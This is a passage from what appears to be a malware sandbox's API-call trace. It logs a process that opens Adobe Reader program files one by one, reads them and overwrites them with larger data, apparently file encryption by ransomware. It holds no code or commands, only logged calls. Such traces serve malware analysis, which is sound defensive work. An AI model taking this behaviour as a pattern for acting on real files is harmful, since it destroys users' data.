lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.573] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.573] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.574] CloseHandle (hObject=0x1d4) returned 1 [0039.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\updater.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\updater.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.574] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.574] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0039.574] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.574] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.574] ReleaseMutex (hMutex=0x128) returned 1 [0039.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHT", lpUsedDefaultChar=0x0) returned 11 [0039.574] ReadFile (in: hFile=0x1d4, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0039.579] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.579] WriteFile (in: hFile=0x1d4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0039.580] CloseHandle (hObject=0x1d4) returned 1 [0039.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0039.580] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.580] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5dbe63 [0039.580] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.580] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.580] ReleaseMutex (hMutex=0x128) returned 1 [0039.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.api", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.api", lpUsedDefaultChar=0x0) returned 10 [0039.581] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.591] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.593] ReadFile (in: hFile=0x1d4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0039.598] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5d9e63 [0039.598] ReadFile (in: hFile=0x1d4, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0039.600] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5d9e63 [0039.604] WriteFile (in: hFile=0x1d4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0039.604] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.604] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.605] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.605] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0039.605] CloseHandle (hObject=0x1d4) returned 1 [0039.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.961] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.961] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.961] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.962] ReleaseMutex (hMutex=0x128) returned 1 [0039.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHT", lpUsedDefaultChar=0x0) returned 9 [0039.962] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.966] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.966] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.966] CloseHandle (hObject=0x1c4) returned 1 [0039.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.966] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.966] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.967] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.967] ReleaseMutex (hMutex=0x128) returned 1 [0039.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.967] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.NLD", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.NLD", lpUsedDefaultChar=0x0) returned 9 [0039.967] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de4e08, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de4e08*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.968] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.968] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.968] CloseHandle (hObject=0x1c4) returned 1 [0039.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.969] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.969] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2000 [0039.969] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.969] ReleaseMutex (hMutex=0x128) returned 1 [0039.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ESP", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ESP", lpUsedDefaultChar=0x0) returned 10 [0039.969] ReadFile (in: hFile=0x1c4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2b0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0039.971] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.971] WriteFile (in: hFile=0x1c4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0039.971] CloseHandle (hObject=0x1c4) returned 1 [0039.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.972] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.972] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e00 [0039.972] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.973] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.973] ReleaseMutex (hMutex=0x128) returned 1 [0039.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SUO", lpUsedDefaultChar=0x0) returned 10 [0039.973] ReadFile (in: hFile=0x12c, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2b0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0039.974] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.975] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0039.975] CloseHandle (hObject=0x12c) returned 1 [0039.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.976] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.976] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.976] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.976] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.976] ReleaseMutex (hMutex=0x128) returned 1 [0039.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.ITA", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.ITA", lpUsedDefaultChar=0x0) returned 13 [0039.976] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.977] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.977] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.978] CloseHandle (hObject=0x12c) returned 1 [0039.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.978] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.978] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa00 [0039.978] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.978] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.978] ReleaseMutex (hMutex=0x128) returned 1 [0039.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CHS", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CHS", lpUsedDefaultChar=0x0) returned 16 [0039.978] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x2b0f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0039.980] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.980] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2b0f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0039.980] CloseHandle (hObject=0x12c) returned 1 [0039.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.980] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.980] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x35400 [0039.980] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.981] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.981] ReleaseMutex (hMutex=0x128) returned 1 [0039.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0039.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.mpp", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.mpp", lpUsedDefaultChar=0x0) returned 16 [0039.981] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.982] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x34400 [0039.982] ReadFile (in: hFile=0x12c, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.983] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x34400 [0039.984] WriteFile (in: hFile=0x12c, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.984] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.984] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.984] CloseHandle (hObject=0x12c) returned 1 [0039.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 